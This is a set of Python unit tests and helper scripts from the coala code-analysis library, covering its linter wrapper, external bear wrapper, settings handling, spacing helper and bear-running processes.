        self.assertIsNotNone(list(uut.execute(filename="abc.py", file=[])))
        create_arguments_mock.assert_called_once_with("abc.py", [], None, 3)
        generate_config_mock.assert_called_once_with("abc.py", [], "x")
        process_output_mock.assert_called_once_with(
            "hello\n", "abc.py", [], 64)

        create_arguments_mock.reset_mock()
        generate_config_mock.reset_mock()
        process_output_mock.reset_mock()

        self.section["default"] = "1000"
        self.section["some_default"] = "xyz"
        self.section["xxx"] = "-50"
        self.assertIsNotNone(list(uut.execute(filename="def.py", file=[])))
        create_arguments_mock.assert_called_once_with("def.py", [], None, 1000)
        generate_config_mock.assert_called_once_with("def.py", [], "xyz")
        process_output_mock.assert_called_once_with(
            "hello\n", "def.py", [], -50)

    def test_invalid_arguments(self):

        class InvalidArgumentsLinter(self.ManualProcessingTestLinter):

            @staticmethod
            def create_arguments(filename, file, config_file):
                return None

        uut = (linter(sys.executable)(InvalidArgumentsLinter)
               (self.section, None))
        self.assertEqual(uut.run("", []), None)

    def test_generate_config(self):
        uut = linter("")(self.ManualProcessingTestLinter)
        with uut._create_config("filename", []) as config_file:
            self.assertIsNone(config_file)

        class ConfigurationTestLinter(self.ManualProcessingTestLinter):

            @staticmethod
            def generate_config(filename, file, val):
                return "config_value = " + str(val)

        uut = linter("", config_suffix=".xml")(ConfigurationTestLinter)
        with uut._create_config("filename", [], val=88) as config_file:
            self.assertTrue(os.path.isfile(config_file))
            self.assertEqual(config_file[-4:], ".xml")
            with open(config_file, mode="r") as fl:
                self.assertEqual(fl.read(), "config_value = 88")
        self.assertFalse(os.path.isfile(config_file))

    def test_metaclass_repr(self):
        uut = linter("my-tool")(self.ManualProcessingTestLinter)
        self.assertEqual(
            repr(uut),
            "<ManualProcessingTestLinter linter class (wrapping 'my-tool')>")

        # Test also whether derivatives change the class name accordingly.
        class DerivedLinter(uut):
            pass
        self.assertEqual(repr(DerivedLinter),
                         "<DerivedLinter linter class (wrapping 'my-tool')>")

    def test_repr(self):
        uut = (linter(sys.executable)
               (self.ManualProcessingTestLinter)
               (self.section, None))

        self.assertRegex(
            repr(uut),
            "<ManualProcessingTestLinter linter object \\(wrapping " +
            re.escape(repr(sys.executable)) + "\\) at 0x[a-fA-F0-9]+>")

    @skipIf(platform.system() == "Windows",
            "Nobody can sanely test things on windows")
    def test_process_directory(self):
        """
        The linter shall run the process in the right directory so tools can
        use the current working directory to resolve import like things.
        """
        uut = (linter("pwd")
               (self.RootDirTestLinter)
               (self.section, None))
        uut.run('', [])  # Does an assert in the output processing


class LinterReallifeTest(unittest.TestCase):

    def setUp(self):
        self.section = Section("REALLIFE_TEST_SECTION")

        self.test_program_path = get_testfile_name("test_linter.py")
        self.test_program_regex = (
            r"L(?P<line>\d+)C(?P<column>\d+)-"
            r"L(?P<end_line>\d+)C(?P<end_column>\d+):"
            r" (?P<message>.*) \| (?P<severity>.+) SEVERITY")
        self.test_program_severity_map = {"MAJOR": RESULT_SEVERITY.MAJOR}

        self.testfile_path = get_testfile_name("test_file.txt")
        with open(self.testfile_path, mode="r") as fl:
            self.testfile_content = fl.read().splitlines(keepends=True)

        self.testfile2_path = get_testfile_name("test_file2.txt")
        with open(self.testfile2_path, mode="r") as fl:
            self.testfile2_content = fl.read().splitlines(keepends=True)

    def test_nostdin_nostderr_noconfig_nocorrection(self):
        create_arguments_mock = Mock()

        class Handler:

            @staticmethod
            def create_arguments(filename, file, config_file):
                create_arguments_mock(filename, file, config_file)
                return self.test_program_path, filename

        uut = (linter(sys.executable,
                      output_format="regex",
                      output_regex=self.test_program_regex,
                      severity_map=self.test_program_severity_map)
               (Handler)
               (self.section, None))

        results = list(uut.run(self.testfile_path, self.testfile_content))
        expected = [Result.from_values(uut,
                                       "Invalid char ('0')",
                                       self.testfile_path,
                                       3, 0, 3, 1,
                                       RESULT_SEVERITY.MAJOR),
                    Result.from_values(uut,
                                       "Invalid char ('.')",
                                       self.testfile_path,
                                       5, 0, 5, 1,
                                       RESULT_SEVERITY.MAJOR),
                    Result.from_values(uut,
                                       "Invalid char ('p')",
                                       self.testfile_path,
                                       9, 0, 9, 1,
                                       RESULT_SEVERITY.MAJOR)]

        self.assertEqual(results, expected)
        create_arguments_mock.assert_called_once_with(
            self.testfile_path, self.testfile_content, None)

    def test_stdin_stderr_noconfig_nocorrection(self):
        create_arguments_mock = Mock()

        class Handler:

            @staticmethod
            def create_arguments(filename, file, config_file):
                create_arguments_mock(filename, file, config_file)
                return (self.test_program_path,
                        "--use_stderr",
                        "--use_stdin",
                        filename)

        uut = (linter(sys.executable,
                      use_stdin=True,
                      use_stdout=False,
                      use_stderr=True,
                      output_format="regex",
                      output_regex=self.test_program_regex,
                      severity_map=self.test_program_severity_map)
               (Handler)
               (self.section, None))

        results = list(uut.run(self.testfile2_path, self.testfile2_content))
        expected = [Result.from_values(uut,
                                       "Invalid char ('X')",
                                       self.testfile2_path,
                                       0, 0, 0, 1,
                                       RESULT_SEVERITY.MAJOR),
                    Result.from_values(uut,
                                       "Invalid char ('i')",
                                       self.testfile2_path,
                                       4, 0, 4, 1,
                                       RESULT_SEVERITY.MAJOR)]

        self.assertEqual(results, expected)
        create_arguments_mock.assert_called_once_with(
            self.testfile2_path, self.testfile2_content, None)

    def test_nostdin_nostderr_noconfig_correction(self):
        create_arguments_mock = Mock()

        class Handler:

            @staticmethod
            def create_arguments(filename, file, config_file):
                create_arguments_mock(filename, file, config_file)
                return self.test_program_path, "--correct", filename

        uut = (linter(sys.executable,
                      output_format="corrected",
                      diff_severity=RESULT_SEVERITY.INFO,
                      result_message="Custom message")
               (Handler)
               (self.section, None))

        results = list(uut.run(self.testfile_path, self.testfile_content))

        expected_correction = [s + "\n"
                               for s in ["+", "-", "*", "++", "-", "-", "+"]]

        diffs = list(Diff.from_string_arrays(
            self.testfile_content,
            expected_correction).split_diff())

        expected = [Result(uut, "Custom message",
                           affected_code=(
                               SourceRange.from_values(self.testfile_path, 4),
                               SourceRange.from_values(self.testfile_path, 6)),
                           severity=RESULT_SEVERITY.INFO,
                           diffs={self.testfile_path: diffs[0]}),
                    Result.from_values(uut,
                                       "Custom message",
                                       self.testfile_path,
                                       10, None, 10, None,
                                       RESULT_SEVERITY.INFO,
                                       diffs={self.testfile_path: diffs[1]})]

        self.assertEqual(results, expected)
        create_arguments_mock.assert_called_once_with(
            self.testfile_path, self.testfile_content, None)

    def test_stdin_stdout_stderr_config_nocorrection(self):
        create_arguments_mock = Mock()
        generate_config_mock = Mock()

        class Handler:

            @staticmethod
            def generate_config(filename, file, some_val):
                # some_val shall only test the argument delegation from run().
                generate_config_mock(filename, file, some_val)
                return "\n".join(["use_stdin", "use_stderr"])

            @staticmethod
            def create_arguments(filename, file, config_file, some_val):
                create_arguments_mock(filename, file, config_file, some_val)
                return self.test_program_path, "--config", config_file

        uut = (linter(sys.executable,
                      use_stdin=True,
                      use_stderr=True,
                      output_format="regex",
                      output_regex=self.test_program_regex,
                      severity_map=self.test_program_severity_map,
                      result_message="Invalid char provided!")
               (Handler)
               (self.section, None))

        results = list(uut.run(self.testfile_path,
                               self.testfile_content,
                               some_val=33))
        expected = [Result.from_values(uut,
                                       "Invalid char provided!",
                                       self.testfile_path,
                                       3, 0, 3, 1,
                                       RESULT_SEVERITY.MAJOR),
                    Result.from_values(uut,
                                       "Invalid char provided!",
                                       self.testfile_path,
                                       5, 0, 5, 1,
                                       RESULT_SEVERITY.MAJOR),
                    Result.from_values(uut,
                                       "Invalid char provided!",
                                       self.testfile_path,
                                       9, 0, 9, 1,
                                       RESULT_SEVERITY.MAJOR)]

        self.assertEqual(results, expected)
        create_arguments_mock.assert_called_once_with(
            self.testfile_path, self.testfile_content, ANY, 33)
        self.assertIsNotNone(create_arguments_mock.call_args[0][2])
        generate_config_mock.assert_called_once_with(
            self.testfile_path, self.testfile_content, 33)

    def test_stdin_stderr_config_correction(self):
        create_arguments_mock = Mock()
        generate_config_mock = Mock()

        # `some_value_A` and `some_value_B` are used to test the different
        # delegation to `generate_config()` and `create_arguments()`
        # accordingly.
        class Handler:

            @staticmethod
            def generate_config(filename, file, some_value_A):
                generate_config_mock(filename, file, some_value_A)
                return "\n".join(["use_stdin", "use_stderr", "correct"])

            @staticmethod
            def create_arguments(filename, file, config_file, some_value_B):
                create_arguments_mock(filename, file, config_file,
                                      some_value_B)
                return self.test_program_path, "--config", config_file

        uut = (linter(sys.executable,
                      use_stdin=True,
                      use_stdout=False,
                      use_stderr=True,
                      output_format="corrected",
                      config_suffix=".conf")
               (Handler)
               (self.section, None))

        results = list(uut.run(self.testfile2_path,
                               self.testfile2_content,
                               some_value_A=124,
                               some_value_B=-78))

        expected_correction = [s + "\n" for s in ["+", "/", "/", "-"]]

        diffs = list(Diff.from_string_arrays(
            self.testfile2_content,
            expected_correction).split_diff())

        expected = [Result.from_values(uut,
                                       "Inconsistency found.",
                                       self.testfile2_path,
                                       1, None, 1, None,
                                       RESULT_SEVERITY.NORMAL,
                                       diffs={self.testfile2_path: diffs[0]}),
                    Result.from_values(uut,
                                       "Inconsistency found.",
                                       self.testfile2_path,
                                       5, None, 5, None,
                                       RESULT_SEVERITY.NORMAL,
                                       diffs={self.testfile2_path: diffs[1]})]

        self.assertEqual(results, expected)
        create_arguments_mock.assert_called_once_with(
            self.testfile2_path, self.testfile2_content, ANY, -78)
        self.assertEqual(create_arguments_mock.call_args[0][2][-5:], ".conf")
        generate_config_mock.assert_called_once_with(
            self.testfile2_path, self.testfile2_content, 124)












import unittest

from coalib.bearlib.abstractions.SectionCreatable import SectionCreatable
from coalib.settings.Section import Section, Setting


class TestObject(SectionCreatable):

    def __init__(self,
                 setting_one: int,
                 raw_setting,
                 setting_two: bool=False,
                 setting_three: list=[1, 2],
                 opt_raw_set=5):
        SectionCreatable.__init__(self)
        assert isinstance(setting_one, int)
        assert isinstance(raw_setting, Setting)
        assert isinstance(setting_two, bool)
        assert isinstance(setting_three, list)
        assert isinstance(opt_raw_set, Setting) or isinstance(opt_raw_set, int)

        self.setting_one = setting_one
        self.raw_setting = raw_setting
        self.setting_two = setting_two
        self.setting_three = setting_three
        self.opt_raw_set = opt_raw_set


class SectionCreatableTest(unittest.TestCase):

    def test_api(self):
        uut = SectionCreatable()
        self.assertEqual(uut.get_non_optional_settings(), {})
        self.assertEqual(uut.get_optional_settings(), {})

    def test_needed_settings(self):
        self.assertEqual(sorted(list(TestObject.get_non_optional_settings())),
                         sorted(["setting_one", "raw_setting"]))
        self.assertEqual(
            sorted(list(TestObject.get_optional_settings())),
            sorted(["setting_two", "setting_three", "opt_raw_set"]))

    def test_from_section(self):
        section = Section("name")
        section.append(Setting("setting_one", " 5"))
        section.append(Setting("raw_setting", " 5s"))
        uut = TestObject.from_section(section)
        self.assertEqual(uut.setting_one, 5)
        self.assertEqual(str(uut.raw_setting), "5s")
        self.assertEqual(uut.setting_two, False)
        self.assertEqual(uut.setting_three, [1, 2])
        self.assertEqual(str(uut.opt_raw_set), "5")

        section.append(Setting("setting_three", "2, 4"))
        section.append(Setting("opt_raw_set", "tst ,"))
        uut = TestObject.from_section(section)
        self.assertEqual(uut.setting_one, 5)
        self.assertEqual(str(uut.raw_setting), "5s")
        self.assertEqual(uut.setting_two, False)
        self.assertEqual(uut.setting_three, ["2", "4"])
        self.assertEqual(str(uut.opt_raw_set), "tst ,")






# This little program tests whether each line begins with one of the primitive
# math operations ``+``, ``-``, ``*`` and ``/``.
#
# Invocation
# ==========
#
# python3 test_linter.py [--config <config-file>] [--use_stderr] [--use_stdin]
#                        [--correct] <file-to-lint>
#
# Parameters
# ==========
#
# --config      Use a config file located at <config-file>. Other arguments are
#               ignored when supplying this.
#               A config file contains in each line a flag that resemble the
#               command-line-flags that are ignored from the
#               command-line-interface without the leading "--". So valid
#               values for each line inside the config are "use_stderr",
#               "use_stdin" and "correct".
# --use_stderr  Output to stderr instead of stdout.
# --use_stdin   Whether to take file <file-to-lint> or grab lint-contents
#               directly from stdin. Supplying this makes <file-to-lint>
#               obsolete.
# --correct     Whether to output the auto-corrected file-content instead of
#               issue messages. The correction consists of removing invalid
#               lines.

import sys


if __name__ == "__main__":
    if "--config" in sys.argv:
        config_file = sys.argv[sys.argv.index("--config") + 1]
        with open(config_file, mode="r") as fl:
            config_content = fl.read().splitlines()

        output_file = (sys.stderr
                       if "use_stderr" in config_content else
                       sys.stdout)
        correct = "correct" in config_content
        use_stdin = "use_stdin" in config_content
    else:
        if "--use_stderr" in sys.argv:
            output_file = sys.stderr
        else:
            output_file = sys.stdout

        correct = "--correct" in sys.argv
        use_stdin = "--use_stdin" in sys.argv

    if use_stdin:
        content = sys.stdin.read()
    else:
        filename = sys.argv[-1]
        with open(filename, mode="r") as fl:
            content = fl.read()

    for i, line in enumerate(content.splitlines()):
        if line[0] not in ("+", "-", "*", "/"):
            if not correct:
                print("L{}C{}-L{}C{}: Invalid char ('{}') | "
                      "MAJOR SEVERITY".format(i, 0, i, 1, line[0]),
                      file=output_file)
            # If `correct` is True just leave out the line since it's invalid.
        else:
            if correct:
                print(line, file=output_file)






import os
import sys
import json
import unittest

from coalib.bearlib.abstractions.ExternalBearWrap import external_bear_wrap
from coalib.results.Diff import Diff
from coalib.results.Result import Result
from coalib.settings.Section import Section
from coalib.results.SourceRange import SourceRange
from coalib.results.RESULT_SEVERITY import RESULT_SEVERITY
from coalib.settings.FunctionMetadata import FunctionMetadata


def get_testfile_path(name):
    """
    Gets the full path to a testfile inside the same directory.

    :param name: The filename of the testfile to get the full path for.
    :return:     The full path to given testfile name.
    """
    return os.path.join(os.path.dirname(os.path.realpath(__file__)),
                        name)


class ExternalBearWrapComponentTest(unittest.TestCase):

    class Dummy:
        pass

    class TestBear:

        @staticmethod
        def create_arguments():
            return (os.path.join(
                os.path.dirname(__file__),
                "test_external_bear.py"),)

    class WrongArgsBear:

        @staticmethod
        def create_arguments():
            return 1

    def setUp(self):
        self.section = Section("TEST_SECTION")

        self.test_program_path = get_testfile_path("test_external_bear.py")

        self.testfile_path = get_testfile_path("test_file.txt")
        with open(self.testfile_path, mode="r") as fl:
            self.testfile_content = fl.read().splitlines(keepends=True)

    def test_decorator_invalid_parameters(self):
        with self.assertRaises(ValueError) as cm:
            external_bear_wrap("exec", invalid_arg=88)
        self.assertEqual(
            str(cm.exception),
            "Invalid keyword arguments provided: 'invalid_arg'")

    def test_decorator_invalid_parameter_types(self):
        # Provide some invalid severity maps.
        with self.assertRaises(TypeError):
            external_bear_wrap(executable=1337)

    def test_get_executable(self):
        uut = (external_bear_wrap("exec")(self.TestBear))
        self.assertEqual(uut.get_executable(), "exec")

    def test_create_arguments_fail(self):
        uut = (external_bear_wrap("exec")(self.Dummy))
        self.assertEqual(uut.create_arguments(), ())

    def test_create_arguments_non_iterable(self):
        uut = (external_bear_wrap("exec")
               (self.WrongArgsBear)
               (self.section, None))
        with self.assertRaises(TypeError):
            res = list(uut.run(self.testfile_path, self.testfile_content))

    def test_invalid_output(self):
        broken_json = json.dumps([{'broken': "JSON"}])[:-1]
        uut = (external_bear_wrap("exec")(self.Dummy)(self.section, None))
        with self.assertRaises(ValueError):
            # Something needs to be done with the result otherwise
            # parse_output will not yield and thus will not raise the ValueError
            list(uut.parse_output(broken_json, "some_file"))

    def test_setting_desc(self):
        uut = (external_bear_wrap("exec",
                                  settings={
                                     "asetting": ("", bool),
                                     "bsetting": ("", bool, True),
                                     "csetting": ("My desc.", bool, False),
                                     "dsetting": ("Another desc", bool),
                                     "esetting": ("", int, None)
                                     })(self.Dummy))
        metadata = uut.get_metadata()
        self.assertEqual(metadata.non_optional_params["asetting"][0],
                         FunctionMetadata.str_nodesc)
        self.assertEqual(metadata.optional_params["bsetting"][0],
                         FunctionMetadata.str_nodesc + " " +
                         FunctionMetadata.str_optional.format(True))
        self.assertEqual(metadata.optional_params["csetting"][0], "My desc." +
                         " " + FunctionMetadata.str_optional.format(False))
        self.assertEqual(metadata.non_optional_params["dsetting"][0],
                         "Another desc")
        self.assertEqual(metadata.optional_params["esetting"][0],
                         FunctionMetadata.str_nodesc + " " +
                         FunctionMetadata.str_optional.format(None))

    def test_optional_settings(self):
        uut = (external_bear_wrap(sys.executable, settings={
            "set_normal_severity": ("", bool),
            "set_sample_dbg_msg": ("", bool, False),
            "not_set_different_msg": ("", bool, True)})
               (self.TestBear)
               (self.section, None))
        results = list(uut.run(self.testfile_path, self.testfile_content,
                               set_normal_severity=False))
        expected = [
            Result(
                origin=uut,
                message="This is wrong",
                affected_code=(SourceRange.from_values(self.testfile_path, 1),),
                severity=RESULT_SEVERITY.MAJOR
                ),
            Result(
                origin=uut,
                message="This is wrong too",
                affected_code=(SourceRange.from_values(self.testfile_path, 3),),
                severity=RESULT_SEVERITY.INFO)]
        self.assertEqual(results, expected)

        results = list(uut.run(self.testfile_path, self.testfile_content,
                               set_normal_severity=True))
        expected = [
            Result(
                origin=uut,
                message="This is wrong",
                affected_code=(SourceRange.from_values(self.testfile_path, 1),),
                severity=RESULT_SEVERITY.NORMAL
                ),
            Result(
                origin=uut,
                message="This is wrong too",
                affected_code=(SourceRange.from_values(self.testfile_path, 3),),
                severity=RESULT_SEVERITY.NORMAL)]
        self.assertEqual(results, expected)

    def test_settings(self):
        uut = (external_bear_wrap(sys.executable, settings={
            "set_normal_severity": ("", bool),
            "set_sample_dbg_msg": ("", bool, False),
            "not_set_different_msg": ("", bool, True)})
               (self.TestBear)
               (self.section, None))
        results = list(uut.run(self.testfile_path, self.testfile_content,
                               set_normal_severity=False,
                               set_sample_dbg_msg=True,
                               not_set_different_msg=False))
        expected = [
            Result(
                origin=uut,
                message="This is wrong",
                affected_code=(SourceRange.from_values(self.testfile_path, 1),),
                severity=RESULT_SEVERITY.MAJOR,
                debug_msg="Sample debug message"
                ),
            Result(
                origin=uut,
                message="Different message",
                affected_code=(SourceRange.from_values(self.testfile_path, 3),),
                severity=RESULT_SEVERITY.INFO)]
        self.assertEqual(results, expected)






import os
import sys
import json

sys.path.append(os.path.join(os.path.dirname(__file__),
                             "..", "..", "..", ".."))

from coalib.results.Result import Result
from coalib.results.SourceRange import SourceRange
from coalib.output.JSONEncoder import create_json_encoder
from coalib.results.RESULT_SEVERITY import RESULT_SEVERITY

if __name__ == "__main__":

    line = sys.stdin.read()
    args = json.loads(line)
    settings = args['settings']

    results = [
        Result(
            origin="TestBear",
            message="This is wrong",
            affected_code=(SourceRange.from_values(args['filename'], 1),),
            severity=RESULT_SEVERITY.MAJOR),
        Result(
            origin="TestBear",
            message="This is wrong too",
            affected_code=(SourceRange.from_values(args['filename'], 3),),
            severity=RESULT_SEVERITY.INFO)]

    if settings['set_normal_severity']:
        for res in results:
            res.severity = RESULT_SEVERITY.NORMAL

    if settings['set_sample_dbg_msg']:
        results[0].debug_msg = "Sample debug message"

    if not settings['not_set_different_msg']:
        results[1].message = "Different message"

    out = {}
    out['results'] = results

    JSONEncoder = create_json_encoder()

    json_dump = json.dumps(out, cls=JSONEncoder)
    sys.stdout.write(json_dump)






import unittest

from coalib.bearlib.spacing.SpacingHelper import SpacingHelper
from coalib.settings.Section import Section


class SpacingHelperTest(unittest.TestCase):

    def setUp(self):
        self.uut = SpacingHelper()

    def test_needed_settings(self):
        self.assertEqual(list(self.uut.get_optional_settings()), ["tab_width"])
        self.assertEqual(list(self.uut.get_non_optional_settings()), [])

    def test_construction(self):
        section = Section("test section")
        self.assertRaises(TypeError, SpacingHelper, "no integer")
        self.assertRaises(TypeError, self.uut.from_section, 5)

        self.assertEqual(self.uut.tab_width,
                         self.uut.from_section(section).tab_width)

        # This is assumed in some tests. If you want to change this value, be
        # sure to change the tests too
        self.assertEqual(self.uut.DEFAULT_TAB_WIDTH, 4)
        self.assertEqual(self.uut.tab_width, self.uut.DEFAULT_TAB_WIDTH)

    def test_get_indentation(self):
        self.assertRaises(TypeError, self.uut.get_indentation, 5)

        self.assertEqual(self.uut.get_indentation("no indentation"), 0)
        self.assertEqual(self.uut.get_indentation(" indentation"), 1)
        self.assertEqual(self.uut.get_indentation("  indentation"), 2)
        self.assertEqual(self.uut.get_indentation("\tindentation"),
                         self.uut.DEFAULT_TAB_WIDTH)

        # Having a space before the tab shouldn't make any difference
        self.assertEqual(self.uut.get_indentation(" \tindentation"),
                         self.uut.DEFAULT_TAB_WIDTH)
        self.assertEqual(self.uut.get_indentation(" \t indentation"),
                         self.uut.DEFAULT_TAB_WIDTH+1)
        self.assertEqual(self.uut.get_indentation("\t indentation"),
                         self.uut.DEFAULT_TAB_WIDTH+1)

        # same tests but with indentation only
        self.assertEqual(self.uut.get_indentation("\t"),
                         self.uut.DEFAULT_TAB_WIDTH)
        self.assertEqual(self.uut.get_indentation(" \t"),
                         self.uut.DEFAULT_TAB_WIDTH)
        self.assertEqual(self.uut.get_indentation(" \t "),
                         self.uut.DEFAULT_TAB_WIDTH+1)
        self.assertEqual(self.uut.get_indentation("\t "),
                         self.uut.DEFAULT_TAB_WIDTH+1)
        self.assertEqual(self.uut.get_indentation("\t\t"),
                         self.uut.DEFAULT_TAB_WIDTH*2)

    def test_replace_tabs_with_spaces(self):
        self.assertRaises(TypeError, self.uut.replace_tabs_with_spaces, 5)

        self.assertEqual(self.uut.replace_tabs_with_spaces(""), "")
        self.assertEqual(self.uut.replace_tabs_with_spaces(" "), " ")
        self.assertEqual(self.uut.replace_tabs_with_spaces("\t"),
                         " "*self.uut.DEFAULT_TAB_WIDTH)
        self.assertEqual(self.uut.replace_tabs_with_spaces("\t\t"),
                         " "*self.uut.DEFAULT_TAB_WIDTH*2)
        self.assertEqual(self.uut.replace_tabs_with_spaces(" \t"),
                         " "*self.uut.DEFAULT_TAB_WIDTH)
        self.assertEqual(self.uut.replace_tabs_with_spaces("  \t"),
                         " "*self.uut.DEFAULT_TAB_WIDTH)
        self.assertEqual(self.uut.replace_tabs_with_spaces("d \t "),
                         "d" + " "*self.uut.DEFAULT_TAB_WIDTH)

    def test_replace_spaces_with_tabs(self):
        self.assertRaises(TypeError, self.uut.replace_spaces_with_tabs, 5)

        self.assertEqual(self.uut.replace_spaces_with_tabs(""), "")
        self.assertEqual(self.uut.replace_spaces_with_tabs(" "), " ")
        self.assertEqual(self.uut.replace_spaces_with_tabs("    "), "\t")
        self.assertEqual(self.uut.replace_spaces_with_tabs("   \t"), "\t")
        self.assertEqual(self.uut.replace_spaces_with_tabs("   dd  "),
                         "   dd  ")
        self.assertEqual(self.uut.replace_spaces_with_tabs("   dd d "),
                         "   dd d ")  # One space shouldnt be replaced
        self.assertEqual(self.uut.replace_spaces_with_tabs("   dd   "),
                         "   dd\t")
        self.assertEqual(
            self.uut.replace_spaces_with_tabs(" \t   a_text   another"),
            "\t   a_text\tanother")
        self.assertEqual(self.uut.replace_spaces_with_tabs("d  d"), "d  d")


















import multiprocessing
import queue
import unittest

from coalib.bears.GlobalBear import GlobalBear
from coalib.bears.LocalBear import LocalBear
from coalib.processes.BearRunning import (
    LOG_LEVEL, LogMessage, run, send_msg, task_done)
from coalib.processes.CONTROL_ELEMENT import CONTROL_ELEMENT
from coalib.results.Result import RESULT_SEVERITY, Result
from coalib.settings.Section import Section


class LocalTestBear(LocalBear):

    def run(self, filename, file):
        if filename == "file1":
            raise Exception("Just to throw anything here.")
        return [Result.from_values("LocalTestBear",
                                   "something went wrong",
                                   filename)]


class SimpleBear(LocalBear):

    def run(self,
            filename,
            file,
            *args,
            dependency_results=None,
            **kwargs):
        return [Result.from_values("SimpleBear",
                                   "something went wrong",
                                   filename),
                # This result should not be passed to DependentBear
                Result.from_values("FakeBear",
                                   "something went wrong",
                                   filename),
                Result.from_values("SimpleBear",
                                   "another thing went wrong",
                                   filename)]


class DependentBear(LocalBear):

    BEAR_DEPS = {SimpleBear}

    def run(self,
            filename,
            file,
            *args,
            dependency_results=None,
            **kwargs):
        assert len(dependency_results["SimpleBear"]) == 2


class SimpleGlobalBear(GlobalBear):

    def run(self,
            *args,
            dependency_results=None,
            **kwargs):
        return [Result("SimpleGlobalBear", "something went wrong"),
                # This result should not be passed to DependentBear
                Result("FakeBear", "something went wrong"),
                Result("SimpleGlobalBear", "another thing went wrong")]


class DependentGlobalBear(GlobalBear):

    BEAR_DEPS = {SimpleGlobalBear}

    def run(self,
            *args,
            dependency_results=None,
            **kwargs):
        assert len(dependency_results["SimpleGlobalBear"]) == 3


class GlobalTestBear(GlobalBear):

    def run(self):
        result = []
        for file, contents in self.file_dict.items():
            result.append(Result.from_values("GlobalTestBear",
                                             "Files are bad in general!",
                                             file,
                                             severity=RESULT_SEVERITY.INFO))
        return result


class EvilBear(LocalBear):

    def execute(self, *args, **kwargs):
        raise NotImplementedError


class UnexpectedBear1(LocalBear):

    def run(self, filename, file):
        return [1,
                Result("UnexpectedBear1", "test result")]


class UnexpectedBear2(LocalBear):

    def run(self, filename, file):
        return 1


class BearRunningUnitTest(unittest.TestCase):

    def setUp(self):
        self.settings = Section("name")

        self.file_name_queue = queue.Queue()
        self.local_bear_list = []
        self.global_bear_list = []
        self.global_bear_queue = queue.Queue()
        self.file_dict = {}
        manager = multiprocessing.Manager()
        self.local_result_dict = manager.dict()
        self.global_result_dict = manager.dict()
        self.message_queue = queue.Queue()
        self.control_queue = queue.Queue()

    def test_queue_done_marking(self):
        self.message_queue.put("test")
        task_done(self.message_queue)  # Should make the queue joinable
        self.message_queue.join()

        task_done("test")  # Should pass silently

    def test_messaging(self):
        send_msg(self.message_queue,
                 0,
                 LOG_LEVEL.DEBUG,
                 "test",
                 "messag",
                 delimiter="-",
                 end="e")

        self.assertEqual(self.message_queue.get(),
                         LogMessage(LOG_LEVEL.DEBUG, "test-message"))

    def test_dependencies(self):
        self.local_bear_list.append(SimpleBear(self.settings,
                                               self.message_queue))
        self.local_bear_list.append(DependentBear(self.settings,
                                                  self.message_queue))
        self.global_bear_list.append(SimpleGlobalBear({},
                                                      self.settings,
                                                      self.message_queue))
        self.global_bear_list.append(DependentGlobalBear({},
                                                         self.settings,
                                                         self.message_queue))
        self.global_bear_queue.put(1)
        self.global_bear_queue.put(0)
        self.file_name_queue.put("t")
        self.file_dict["t"] = []

        run(self.file_name_queue,
            self.local_bear_list,
            self.global_bear_list,
            self.global_bear_queue,
            self.file_dict,
            self.local_result_dict,
            self.global_result_dict,
            self.message_queue,
            self.control_queue)

        try:
            while True:
                msg = self.message_queue.get(timeout=0)
                self.assertEqual(msg.log_level, LOG_LEVEL.DEBUG)
        except queue.Empty:
            pass

    def test_evil_bear(self):
        self.local_bear_list.append(EvilBear(self.settings,
                                             self.message_queue))
        self.file_name_queue.put("t")
        self.file_dict["t"] = []

        run(self.file_name_queue,
            self.local_bear_list,
            self.global_bear_list,
            self.global_bear_queue,
            self.file_dict,
            self.local_result_dict,
            self.global_result_dict,
            self.message_queue,
            self.control_queue)

    def test_strange_bear(self):
        self.local_bear_list.append(UnexpectedBear1(self.settings,
                                                    self.message_queue))
        self.local_bear_list.append(UnexpectedBear2(self.settings,
                                                    self.message_queue))
        self.file_name_queue.put("t")
        self.file_dict["t"] = []

        run(self.file_name_queue,
            self.local_bear_list,
            self.global_bear_list,
            self.global_bear_queue,
            self.file_dict,
            self.local_result_dict,
            self.global_result_dict,
            self.message_queue,
            self.control_queue)

        expected_messages = [LOG_LEVEL.DEBUG,
                             LOG_LEVEL.ERROR,
                             LOG_LEVEL.DEBUG,
                             LOG_LEVEL.DEBUG,
                             LOG_LEVEL.WARNING]

        for msg in expected_messages:
            self.assertEqual(msg, self.message_queue.get(timeout=0).log_level)


class BearRunningIntegrationTest(unittest.TestCase):
    example_file = """a
b
c
d
"""

    def setUp(self):
        self.settings = Section("name")

        self.file_name_queue = queue.Queue()
        self.local_bear_list = []
        self.global_bear_list = []
        self.global_bear_queue = queue.Queue()
        self.file_dict = {}
        manager = multiprocessing.Manager()
        self.local_result_dict = manager.dict()
        self.global_result_dict = manager.dict()
        self.message_queue = queue.Queue()
        self.control_queue = queue.Queue()

        self.file1 = "file1"
        self.file2 = "arbitrary"

        self.file_name_queue.put(self.file1)
        self.file_name_queue.put(self.file2)
        self.file_name_queue.put("invalid file")
        self.local_bear_list.append(LocalTestBear(self.settings,
                                                  self.message_queue))
        self.local_bear_list.append("not a valid bear")
        self.file_dict[self.file1] = self.example_file
        self.file_dict[self.file2] = self.example_file
        self.global_bear_list.append(GlobalTestBear(self.file_dict,
                                                    self.settings,
                                                    self.message_queue))
        self.global_bear_list.append("not a valid bear")
        self.global_bear_queue.put(0)
        self.global_bear_queue.put(1)

    def test_run(self):
        run(self.file_name_queue,
            self.local_bear_list,
            self.global_bear_list,
            self.global_bear_queue,
            self.file_dict,
            self.local_result_dict,
            self.global_result_dict,
            self.message_queue,
            self.control_queue)

        expected_messages = [LOG_LEVEL.DEBUG,
                             LOG_LEVEL.WARNING,
                             LOG_LEVEL.DEBUG,
                             LOG_LEVEL.WARNING,
                             LOG_LEVEL.DEBUG,
                             LOG_LEVEL.WARNING,
                             LOG_LEVEL.ERROR,
                             LOG_LEVEL.DEBUG,
                             LOG_LEVEL.DEBUG,
                             LOG_LEVEL.WARNING]
        for msg in expected_messages:
            self.assertEqual(msg, self.message_queue.get(timeout=0).log_level)

        local_result_expected = [[],
                                 [Result.from_values("LocalTestBear",
                                                     "something went wrong",
                                                     'arbitrary')]
                                 ]
        for expected in local_result_expected:
            control_elem, index = self.control_queue.get()
            self.assertEqual(control_elem, CONTROL_ELEMENT.LOCAL)
            real = self.local_result_dict[index]
            self.assertEqual(real, expected)

        global_results_expected = [Result.from_values(
                                       "GlobalTestBear",
                                       "Files are bad in general!",
                                       "file1",
                                       severity=RESULT_SEVERITY.INFO),
                                   Result.from_values(
                                       "GlobalTestBear",
                                       "Files are bad in general!",
                                       "arbitrary",
                                       severity=RESULT_SEVERITY.INFO)]

